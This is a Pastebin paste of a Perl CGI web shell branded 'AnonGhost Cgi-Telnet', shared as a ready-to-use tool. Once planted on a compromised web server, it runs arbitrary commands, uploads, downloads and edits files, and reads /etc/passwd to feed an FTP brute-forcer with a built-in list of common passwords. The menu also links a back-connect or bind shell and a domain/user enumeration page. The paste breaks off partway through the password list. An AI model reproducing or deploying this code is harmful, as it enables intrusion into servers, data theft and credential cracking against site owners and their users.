API tools faq
paste
mathio3

cgi ii

mathio3
Aug 5th, 2019
530
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 41.91 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. #Not mine
  3. use MIME::Base64;
  4. $Version= "CGI Version 1.4";
  5. $EditPersion="mathio.dz";
  6.  
  7. $Password = "mathio3";
  8.            
  9. sub Is_Win(){
  10.     $os = &trim($ENV{"SERVER_SOFTWARE"});
  11.     if($os =~ m/win/i){
  12.         return 1;
  13.     }else{
  14.         return 0;
  15.     }
  16. }
  17. $WinNT = &Is_Win();  
  18. $NTCmdSep = "&";             
  19.  
  20. $UnixCmdSep = ";";           
  21.  
  22. $CommandTimeoutDuration = 10;
  23.  
  24. $ShowDynamicOutput = 1;
  25.  
  26. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  27. $CmdPwd = ($WinNT ? "cd" : "pwd");
  28. $PathSep = ($WinNT ? "\\" : "/");
  29. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  30. $cols= 130;
  31. $rows= 26;
  32.  
  33. sub ReadParse
  34. {
  35.     local (*in) = @_ if @_;
  36.     local ($i, $loc, $key, $val);
  37.     $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  38.     if($ENV{'REQUEST_METHOD'} eq "GET")
  39.     {
  40.         $in = $ENV{'QUERY_STRING'};
  41.     }
  42.     elsif($ENV{'REQUEST_METHOD'} eq "POST")
  43.     {
  44.         binmode(STDIN) if $MultipartFormData & $WinNT;
  45.         read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  46.     }
  47.     # handle file upload data
  48.     if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  49.     {
  50.         $Boundary = '--'.$1; # please refer to RFC1867
  51.         @list = split(/$Boundary/, $in);
  52.         $HeaderBody = $list[1];
  53.         $HeaderBody =~ /\r\n\r\n|\n\n/;
  54.         $Header = $`;
  55.         $Body = $';
  56.         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  57.         $in{'filedata'} = $Body;
  58.         $Header =~ /filename=\"(.+)\"/;
  59.         $in{'f'} = $1;
  60.         $in{'f'} =~ s/\"//g;
  61.         $in{'f'} =~ s/\s//g;
  62.  
  63.         # parse trailer
  64.         for($i=2; $list[$i]; $i++)
  65.         {
  66.             $list[$i] =~ s/^.+name=$//;
  67.             $list[$i] =~ /\"(\w+)\"/;
  68.             $key = $1;
  69.             $val = $';
  70.             $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  71.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  72.             $in{$key} = $val;
  73.         }
  74.     }
  75.     else # standard post data (url encoded, not multipart)
  76.     {
  77.         @in = split(/&/, $in);
  78.         foreach $i (0 .. $#in)
  79.         {
  80.             $in[$i] =~ s/\+/ /g;
  81.             ($key, $val) = split(/=/, $in[$i], 2);
  82.             $key =~ s/%(..)/pack("c", hex($1))/ge;
  83.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  84.             $in{$key} .= "" if (defined($in{$key}));
  85.             $in{$key} .= $val;
  86.         }
  87.     }
  88. }
  89. #------------------------------------------------------------------------------
  90. # function EncodeDir: encode base64 Path
  91. #------------------------------------------------------------------------------
  92. sub EncodeDir
  93. {
  94.     my $dir = shift;
  95.     $dir = trim(encode_base64($dir));
  96.     $dir =~ s/(\r|\n)//;
  97.     return $dir;
  98. }
  99. #------------------------------------------------------------------------------
  100. # Prints the HTML Page Header
  101. # Argument 1: Form item name to which focus should be set
  102. #------------------------------------------------------------------------------
  103. sub PrintPageHeader
  104. {
  105.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  106.     my $id = `id` if(!$WinNT);
  107.     my $info = `uname -s -n -r -i`;
  108.     print "Content-type: text/html\n\n";
  109.     print <<END;
  110. <html>
  111. <head>
  112. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  113. <title>AnonGhost Cgi-Telnet [ $Version ]</title>
  114. $HtmlMetaHeader
  115. </head>
  116. <style>
  117. body{
  118. font: 10pt Verdana;
  119. color: #fff;
  120. }
  121. tr,td,table,input,textarea {
  122. BORDER-RIGHT:  #3e3e3e 1px solid;
  123. BORDER-TOP:    #3e3e3e 1px solid;
  124. BORDER-LEFT:   #3e3e3e 1px solid;
  125. BORDER-BOTTOM: #3e3e3e 1px solid;
  126. }
  127. #domain tr:hover{
  128. background-color: #444;
  129. }
  130. td {
  131. color: #2BA8EC;
  132. }
  133. .listdir td{
  134.     text-align: center;
  135. }
  136. .listdir th{
  137.     color: #FF9900;
  138. }
  139. .dir,.file
  140. {
  141.     text-align: left !important;
  142. }
  143. .dir{
  144.     font-size: 10pt;
  145.     font-weight: bold;
  146. }
  147. table {
  148. BACKGROUND-COLOR: #111;
  149. }
  150. input {
  151. BACKGROUND-COLOR: Black;
  152. color: #ff9900;
  153. }
  154. input.submit {
  155. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  156. color: #FFFFFF;
  157. border-color: #009900;
  158. }
  159. code {
  160. border: dashed 0px #333;
  161. color: while;
  162. }
  163. run {
  164. border          : dashed 0px #333;
  165. color: #FF00AA;
  166. }
  167. textarea {
  168. BACKGROUND-COLOR: #1b1b1b;
  169. font: Fixedsys bold;
  170. color: #aaa;
  171. }
  172. A:link {
  173.     COLOR: #2BA8EC; TEXT-DECORATION: none
  174. }
  175. A:visited {
  176.     COLOR: #2BA8EC; TEXT-DECORATION: none
  177. }
  178. A:hover {
  179.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  180.     color: #FFFFFF; TEXT-DECORATION: none
  181. }
  182. A:active {
  183.     color: Red; TEXT-DECORATION: none
  184. }
  185. .listdir tr:hover{
  186.     background: #444;
  187. }
  188. .listdir tr:hover td{
  189.     background: #444;
  190.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  191.     color: #FFFFFF; TEXT-DECORATION: none;
  192. }
  193. .notline{
  194.     background: #111;
  195. }
  196. .line{
  197.     background: #222;
  198. }
  199. </style>
  200. <script language="javascript">
  201. function Encoder(name)
  202. {
  203.     var e =  document.getElementById(name);
  204.     e.value = btoa(e.value);
  205.     return true;
  206. }
  207. function chmod_form(i,file)
  208. {
  209.     document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  210.     document.getElementById("text_" + i).focus();
  211. }
  212. function rm_chmod_form(response,i,perms,file)
  213. {
  214.     response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  215. }
  216. function rename_form(i,file,f)
  217. {
  218.     f.replace(/\\\\/g,"\\\\\\\\");
  219.     var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  220.     document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=rename type=text value= '"+file+"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  221.     document.getElementById("text_" + i).focus();
  222. }
  223. function rm_rename_form(i,file,f)
  224. {
  225.     if(f=='f')
  226.     {
  227.         document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$EncodeCurrentDir&c=edit%20"+file+"%20'>" +file+ "</a>";
  228.     }else
  229.     {
  230.         document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  231.     }
  232. }
  233. </script>
  234. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  235. <center><code>
  236. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  237. <tr>
  238.     <td align="center" rowspan=3>
  239.         <b><font size="3">o--[  $EditPersion ]--o</font></b>
  240.     </td>
  241.     <td>
  242.         $info
  243.     </td>
  244.     <td>Server IP:<font color="#ff9900"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#ff9900">$ENV{'REMOTE_ADDR'}</font>
  245.     </td>
  246. </tr>
  247. <tr>
  248. <td colspan="2">
  249. <a href="$ScriptLocation">Home</a> |
  250. <a href="$ScriptLocation?a=command&d=$EncodeCurrentDir">Command</a> |
  251. <a href="$ScriptLocation?a=gui&d=$EncodeCurrentDir">GUI</a> |
  252. <a href="$ScriptLocation?a=upload&d=$EncodeCurrentDir">Upload File</a> |
  253. <a href="$ScriptLocation?a=download&d=$EncodeCurrentDir">Download File</a> |
  254. <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  255. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  256. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  257. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  258. <a href="$ScriptLocation?a=logout">Logout</a> |
  259. <a target='_blank' href="#">Help</a>
  260. </td>
  261. </tr>
  262. <tr>
  263. <td colspan="2">
  264. $id
  265. </td>
  266. </tr>
  267. </table>
  268. <font id="ResponseData" color="#FFFFFF" >
  269. END
  270. }
  271. #------------------------------------------------------------------------------
  272. # Prints the Login Screen
  273. #------------------------------------------------------------------------------
  274. sub PrintLoginScreen
  275. {
  276.     print <<END;
  277. <pre><script type="text/javascript">
  278. TypingText = function(element, interval, cursor, finishedCallback) {
  279.   if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  280.     this.running = true;    // Never run.
  281.     return;
  282.   }
  283.   this.element = element;
  284.   this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  285.   this.interval = (typeof interval == "undefined" ? 100 : interval);
  286.   this.origText = this.element.innerHTML;
  287.   this.unparsedOrigText = this.origText;
  288.   this.cursor = (cursor ? cursor : "");
  289.   this.currentText = "";
  290.   this.currentChar = 0;
  291.   this.element.typingText = this;
  292.   if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  293.   TypingText.all.push(this);
  294.   this.running = false;
  295.   this.inTag = false;
  296.   this.tagBuffer = "";
  297.   this.inHTMLEntity = false;
  298.   this.HTMLEntityBuffer = "";
  299. }
  300. TypingText.all = new Array();
  301. TypingText.currentIndex = 0;
  302. TypingText.runAll = function() {
  303.   for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  304. }
  305. TypingText.prototype.run = function() {
  306.   if(this.running) return;
  307.   if(typeof this.origText == "undefined") {
  308.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);   // We haven't finished loading yet.  Have patience.
  309.     return;
  310.   }
  311.   if(this.currentText == "") this.element.innerHTML = "";
  312. //  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
  313.   if(this.currentChar < this.origText.length) {
  314.     if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  315.       this.tagBuffer = "<";
  316.       this.inTag = true;
  317.       this.currentChar++;
  318.       this.run();
  319.       return;
  320.     } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  321.       this.tagBuffer += ">";
  322.       this.inTag = false;
  323.       this.currentText += this.tagBuffer;
  324.       this.currentChar++;
  325.       this.run();
  326.       return;
  327.     } else if(this.inTag) {
  328.       this.tagBuffer += this.origText.charAt(this.currentChar);
  329.       this.currentChar++;
  330.       this.run();
  331.       return;
  332.     } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  333.       this.HTMLEntityBuffer = "&";
  334.       this.inHTMLEntity = true;
  335.       this.currentChar++;
  336.       this.run();
  337.       return;
  338.     } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  339.       this.HTMLEntityBuffer += ";";
  340.       this.inHTMLEntity = false;
  341.       this.currentText += this.HTMLEntityBuffer;
  342.       this.currentChar++;
  343.       this.run();
  344.       return;
  345.     } else if(this.inHTMLEntity) {
  346.       this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  347.       this.currentChar++;
  348.       this.run();
  349.       return;
  350.     } else {
  351.       this.currentText += this.origText.charAt(this.currentChar);
  352.     }
  353.     this.element.innerHTML = this.currentText;
  354.     this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  355.     this.currentChar++;
  356.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  357.   } else {
  358.     this.currentText = "";
  359.     this.currentChar = 0;
  360.         this.running = false;
  361.         this.finishedCallback();
  362.   }
  363. }
  364. </script>
  365. </pre>
  366.  
  367. <br>
  368.  
  369. <script type="text/javascript">
  370. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  371. TypingText.runAll();
  372.  
  373. </script>
  374. END
  375. }
  376. #------------------------------------------------------------------------------
  377. # encode html special chars
  378. #------------------------------------------------------------------------------
  379. sub UrlEncode($){
  380.     my $str = shift;
  381.     $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  382.     return $str;
  383. }
  384. #------------------------------------------------------------------------------
  385. # Add html special chars
  386. #------------------------------------------------------------------------------
  387. sub HtmlSpecialChars($){
  388.     my $text = shift;
  389.     $text =~ s/&/&amp;/g;
  390.     $text =~ s/"/&quot;/g;
  391.     $text =~ s/'/'/g;
  392.     $text =~ s/</&lt;/g;
  393.     $text =~ s/>/&gt;/g;
  394.     return $text;
  395. }
  396. #------------------------------------------------------------------------------
  397. # Add link for directory
  398. #------------------------------------------------------------------------------
  399. sub AddLinkDir($)
  400. {
  401.     my $ac=shift;
  402.     my @dir=();
  403.     if($WinNT)
  404.     {
  405.         @dir=split(/\\/,$CurrentDir);
  406.     }else
  407.     {
  408.         @dir=split("/",&trim($CurrentDir));
  409.     }
  410.     my $path="";
  411.     my $result="";
  412.     foreach (@dir)
  413.     {
  414.         $path .= $_.$PathSep;
  415.         $result.="<a href='?a=".$ac."&d=".encode_base64($path)."'>".$_.$PathSep."</a>";
  416.     }
  417.     return $result;
  418. }
  419. #------------------------------------------------------------------------------
  420. # Prints the message that informs the user of a failed login
  421. #------------------------------------------------------------------------------
  422. sub PrintLoginFailedMessage
  423. {
  424.     print <<END;
  425.  
  426. Password:<br>
  427. Login incorrect<br><br>
  428. END
  429. }
  430.  
  431. #------------------------------------------------------------------------------
  432. # Prints the HTML form for logging in
  433. #------------------------------------------------------------------------------
  434. sub PrintLoginForm
  435. {
  436.     print <<END;
  437. <form name="f" method="POST" action="$ScriptLocation">
  438. <input type="hidden" name="a" value="login">
  439. Login : Administrator<br>
  440. Password:<input type="password" name="p">
  441. <input type="submit" value="Enter">
  442. </form>
  443. END
  444. }
  445. #------------------------------------------------------------------------------
  446. # Prints the footer for the HTML Page
  447. #------------------------------------------------------------------------------
  448. sub PrintPageFooter
  449. {
  450.     print "<br><font color=red>o---[  <font color=#ff9900>Edit by $EditPersion </font>  ]---o</font></code></center></body></html>";
  451. }
  452. #------------------------------------------------------------------------------
  453. # Retreives the values of all cookies. The cookies can be accesses using the
  454. # variable $Cookies{''}
  455. #------------------------------------------------------------------------------
  456. sub GetCookies
  457. {
  458.     @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  459.     foreach $cookie(@httpcookies)
  460.     {
  461.         ($id, $val) = split(/=/, $cookie);
  462.         $Cookies{$id} = $val;
  463.     }
  464. }
  465. #------------------------------------------------------------------------------
  466. sub PrintLogoutScreen
  467. {
  468.     print "Connection closed by foreign host.<br><br>";
  469. }
  470.  
  471. #------------------------------------------------------------------------------
  472. sub PerformLogout
  473. {
  474.     print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  475.     &PrintPageHeader("p");
  476.     &PrintLogoutScreen;
  477.  
  478.     &PrintLoginScreen;
  479.     &PrintLoginForm;
  480.     &PrintPageFooter;
  481.     exit;
  482. }
  483.  
  484. sub PerformLogin
  485. {
  486.     if($LoginPassword eq $Password) # password matched
  487.     {
  488.         print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  489.         &PrintPageHeader;
  490.         print &ListDir;
  491.     }
  492.     else # password didn't match
  493.     {
  494.         &PrintPageHeader("p");
  495.         &PrintLoginScreen;
  496.         if($LoginPassword ne "") # some password was entered
  497.         {
  498.             &PrintLoginFailedMessage;
  499.  
  500.         }
  501.         &PrintLoginForm;
  502.         &PrintPageFooter;
  503.         exit;
  504.     }
  505. }
  506.  
  507. sub PrintCommandLineInputForm
  508. {
  509.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  510.     my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  511.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  512.     return <<END;
  513. <form name="f" method="POST" action="$ScriptLocation" onSubmit="Encoder('c')">
  514.  
  515. <input type="hidden" name="a" value="command">
  516.  
  517. <input type="hidden" name="d" value="$EncodeCurrentDir">
  518. $Prompt
  519. <input type="text" size="40" name="c" id="c">
  520. <input type="submit" value="Enter">
  521. </form>
  522. END
  523. }
  524.  
  525. sub PrintFileDownloadForm
  526. {
  527.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  528.     my $dir = &AddLinkDir("download");
  529.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  530.     return <<END;
  531. <form name="f" method="POST" action="$ScriptLocation">
  532. <input type="hidden" name="d" value="$EncodeCurrentDir">
  533. <input type="hidden" name="a" value="download">
  534. $Prompt download<br><br>
  535. Filename: <input type="text" name="f" size="35"><br><br>
  536. Download: <input type="submit" value="Begin">
  537.  
  538. </form>
  539. END
  540. }
  541.  
  542.  
  543. sub PrintFileUploadForm
  544. {
  545.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  546.     my $dir= &AddLinkDir("upload");
  547.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  548.     return <<END;
  549. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  550. $Prompt upload<br><br>
  551. Filename: <input type="file" name="f" size="35"><br><br>
  552. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  553. <label for="up">Overwrite if it Exists</label><br><br>
  554. Upload:&nbsp;&nbsp;&nbsp;<input type="submit" value="Begin">
  555. <input type="hidden" name="d" value="$EncodeCurrentDir">
  556. <input type="hidden" name="a" value="upload">
  557. </form>
  558. END
  559. }
  560.  
  561. sub CommandTimeout
  562. {
  563.     if(!$WinNT)
  564.     {
  565.         alarm(0);
  566.         return <<END;
  567. </textarea>
  568. <br><font color=yellow>
  569. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  570. <br><font size='6' color=red>Killed it!</font>
  571. END
  572.     }
  573. }
  574.  
  575. sub PrintDownloadLinkPage
  576. {
  577.     local($FileUrl) = @_;
  578.     my $result="";
  579.     if(-e $FileUrl) # if the file exists
  580.     {
  581.         # encode the file link so we can send it to the browser
  582.         $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  583.         $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  584.         $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  585.         &PrintPageHeader("c");
  586.         $result .= <<END;
  587. Sending File $TransferFile...<br>
  588.  
  589. If the download does not start automatically,
  590. <a href="$DownloadLink">Click Here</a>
  591. END
  592.         $result .= &PrintCommandLineInputForm;
  593.     }
  594.     else # file doesn't exist
  595.     {
  596.         $result .= "Failed to download $FileUrl: $!";
  597.         $result .= &PrintFileDownloadForm;
  598.     }
  599.     return $result;
  600. }
  601.  
  602. sub SendFileToBrowser
  603. {
  604.     my $result = "";
  605.     local($SendFile) = @_;
  606.     if(open(SENDFILE, $SendFile)) # file opened for reading
  607.     {
  608.         if($WinNT)
  609.         {
  610.             binmode(SENDFILE);
  611.             binmode(STDOUT);
  612.         }
  613.         $FileSize = (stat($SendFile))[7];
  614.         ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
  615.         print "Content-Type: application/x-unknown\n";
  616.         print "Content-Length: $FileSize\n";
  617.         print "Content-Disposition: attachment; filename=$1\n\n";
  618.         print while(<SENDFILE>);
  619.         close(SENDFILE);
  620.         exit(1);
  621.     }
  622.     else # failed to open file
  623.     {
  624.         $result .= "Failed to download $SendFile: $!";
  625.         $result .=&PrintFileDownloadForm;
  626.     }
  627.     return $result;
  628. }
  629.  
  630. sub BeginDownload
  631. {
  632.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  633.     # get fully qualified path of the file to be downloaded
  634.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  635.         (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  636.     {
  637.         $TargetFile = $TransferFile;
  638.     }
  639.     else # path is relative
  640.     {
  641.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  642.         $TargetFile .= $PathSep.$TransferFile;
  643.     }
  644.  
  645.     if($Options eq "go") # we have to send the file
  646.     {
  647.         &SendFileToBrowser($TargetFile);
  648.     }
  649.     else # we have to send only the link page
  650.     {
  651.         &PrintDownloadLinkPage($TargetFile);
  652.     }
  653. }
  654.  
  655. sub UploadFile
  656. {
  657.     # if no file is specified, print the upload form again
  658.     if($TransferFile eq "")
  659.     {
  660.         return &PrintFileUploadForm;
  661.  
  662.     }
  663.     my $result="";
  664.     # start the uploading process
  665.     $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  666.  
  667.     # get the fullly qualified pathname of the file to be created
  668.     chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  669.     $TransferFile =~ m!([^/^\\]*)$!;
  670.     $TargetName .= $PathSep.$1;
  671.  
  672.     $TargetFileSize = length($in{'filedata'});
  673.     # if the file exists and we are not supposed to overwrite it
  674.     if(-e $TargetName && $Options ne "overwrite")
  675.     {
  676.         $result .= "Failed: Destination file already exists.<br>";
  677.     }
  678.     else # file is not present
  679.     {
  680.         if(open(UPLOADFILE, ">$TargetName"))
  681.         {
  682.             binmode(UPLOADFILE) if $WinNT;
  683.             print UPLOADFILE $in{'filedata'};
  684.             close(UPLOADFILE);
  685.             $result .= "Transfered $TargetFileSize Bytes.<br>";
  686.             $result .= "File Path: $TargetName<br>";
  687.         }
  688.         else
  689.         {
  690.             $result .= "Failed: $!<br>";
  691.         }
  692.     }
  693.     $result .= &PrintCommandLineInputForm;
  694.     return $result;
  695. }
  696.  
  697. sub DownloadFile
  698. {
  699.     # if no file is specified, print the download form again
  700.     if($TransferFile eq "")
  701.     {
  702.         &PrintPageHeader("f");
  703.         return &PrintFileDownloadForm;
  704.     }
  705.  
  706.     # get fully qualified path of the file to be downloaded
  707.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  708.     {
  709.         $TargetFile = $TransferFile;
  710.     }
  711.     else # path is relative
  712.     {
  713.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  714.         $TargetFile .= $PathSep.$TransferFile;
  715.     }
  716.  
  717.     if($Options eq "go") # we have to send the file
  718.     {
  719.         return &SendFileToBrowser($TargetFile);
  720.     }
  721.     else # we have to send only the link page
  722.     {
  723.         return &PrintDownloadLinkPage($TargetFile);
  724.     }
  725. }
  726.  
  727. sub ExecuteCommand
  728. {
  729.     $CurrentDir = &TrimSlashes($CurrentDir);
  730.     my $result="";
  731.     if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  732.     {
  733.         # we change the directory internally. The output of the
  734.         # command is not displayed.
  735.         $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  736.         chomp($CurrentDir = `$Command`);
  737.         $result .= &PrintCommandLineInputForm;
  738.  
  739.         $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  740.         # xuat thong tin khi chuyen den 1 thu muc nao do!
  741.         $RunCommand= $WinNT?"dir":"dir -lia";
  742.         $result .= &RunCmd;
  743.     }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  744.     {
  745.         $result .=  &SaveFileForm;
  746.     }else
  747.     {
  748.         $result .= &PrintCommandLineInputForm;
  749.         $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  750.         $result .=&RunCmd;
  751.     }
  752.     $result .=  "</textarea>";
  753.     return $result;
  754. }
  755. #------------------------------------------------------------------------
  756. # run command
  757. #------------------------------------------------------------------------
  758. sub RunCmd
  759. {
  760.     my $result="";
  761.     $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  762.     if(!$WinNT)
  763.     {
  764.         $SIG{'ALRM'} = \&CommandTimeout;
  765.         alarm($CommandTimeoutDuration);
  766.     }
  767.     if($ShowDynamicOutput) # show output as it is generated
  768.     {
  769.         $|=1;
  770.         $Command .= " |";
  771.         open(CommandOutput, $Command);
  772.         while(<CommandOutput>)
  773.         {
  774.             $_ =~ s/(\n|\r\n)$//;
  775.             $result .= &HtmlSpecialChars("$_\n");
  776.         }
  777.         $|=0;
  778.     }
  779.     else # show output after command completes
  780.     {
  781.         $result .= &HtmlSpecialChars($Command);
  782.     }
  783.     if(!$WinNT)
  784.     {
  785.         alarm(0);
  786.     }
  787.     return $result;
  788. }
  789. #==============================================================================
  790. # Form Save File
  791. #==============================================================================
  792. sub SaveFileForm
  793. {
  794.     my $result ="";
  795.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  796.     substr($RunCommand,0,5)="";
  797.     my $file=&trim($RunCommand);
  798.     $save='<br><input name="a" type="submit" value="save" >';
  799.     $File=$CurrentDir.$PathSep.$RunCommand;
  800.     my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  801.     if(-w $File)
  802.     {
  803.         $rows="23"
  804.     }else
  805.     {
  806.         $msg="<br><font style='color: yellow;' > Cann't write file!<font><br>";
  807.         $rows="20"
  808.     }
  809.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  810.     $RunCommand = "edit $RunCommand";
  811.     $result .=  <<END;
  812.     <form name="f" method="POST" action="$ScriptLocation">
  813.  
  814.     <input type="hidden" name="d" value="$EncodeCurrentDir">
  815.     $Prompt
  816.     <input type="text" size="40" name="c">
  817.     <input name="s" type="submit" value="Enter">
  818.     <br>Command: <run> $RunCommand </run>
  819.     <input type="hidden" name="file" value="$file" > $save <br> $msg
  820.     <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  821. END
  822.  
  823.     $result .= &HtmlSpecialChars(&FileOpen($File,0));
  824.     $result .= "</textarea>";
  825.     $result .= "</form>";
  826.     return $result;
  827. }
  828. #==============================================================================
  829. # File Open
  830. #==============================================================================
  831. sub FileOpen($){
  832.     my $file = shift;
  833.     my $binary = shift;
  834.     my $result = "";
  835.     my $n = "";
  836.     if(-f $file){
  837.         if(open(FILE,$file)){
  838.             if($binary){
  839.                 binmode FILE;
  840.             }
  841.             while (($n = read FILE, $data, 1024) != 0) {
  842.                 $result .= $data;
  843.             }
  844.             close(FILE);
  845.         }
  846.     }else
  847.     {
  848.         return "Not's a File!";
  849.     }
  850.     return $result;
  851. }
  852. #==============================================================================
  853. # Save File
  854. #==============================================================================
  855. sub SaveFile($)
  856. {
  857.     my $Data= shift ;
  858.     my $File= shift;
  859.     $File=$CurrentDir.$PathSep.$File;
  860.     if(open(FILE, ">$File"))
  861.     {
  862.         binmode FILE;
  863.         print FILE $Data;
  864.         close FILE;
  865.         return 1;
  866.     }else
  867.     {
  868.         return 0;
  869.     }
  870. }
  871. #------------------------------------------------------------------------------
  872. # Brute Forcer Form
  873. #------------------------------------------------------------------------------
  874. sub BruteForcerForm
  875. {
  876.     my $result="";
  877.     $result .= <<END;
  878.  
  879. <table>
  880.  
  881. <tr>
  882. <td colspan="2" align="center">
  883. ####################################<br>
  884. Simple FTP brute forcer<br>
  885. Note: Only scan from 1 to 3 user :-S<br>
  886. ####################################
  887. <form name="f" method="POST" action="$ScriptLocation">
  888.  
  889. <input type="hidden" name="a" value="bruteforcer"/>
  890. </td>
  891. </tr>
  892. <tr>
  893. <td>User:<br><textarea rows="18" cols="30" name="user">
  894. END
  895. chop($result .= `less /etc/passwd | cut -d: -f1`);
  896. $result .= <<'END';
  897. </textarea></td>
  898. <td>
  899.  
  900. Pass:<br>
  901. <textarea rows="18" cols="30" name="pass">123pass
  902. 123!@#
  903. 123admin
  904. 123abc
  905. 123456admin
  906. 1234554321
  907. 12344321
  908. pass123
  909. admin
  910. admincp
  911. administrator
  912. matkhau
  913. passadmin
  914. p@ssword
  915. p@ssw0rd
  916. password
  917. 123456
  918. 1234567
  919. 12345678
  920. 123456789
  921. 1234567890
  922. 111111
  923. 000000
  924. 222222
  925. 333333
  926. 444444
  927. 555555
  928. 666666
  929. 777777
  930. 888888
  931. 999999
  932. 123123
  933. 234234
  934. 345345
  935. 456456
  936. 567567
  937. 678678
  938. 789789
  939. 123321
  940. 456654
  941. 654321
  942. 7654321
  943. 87654321
  944. 987654321
  945. 0987654321
  946. admin123
  947. admin123456
  948. abcdef
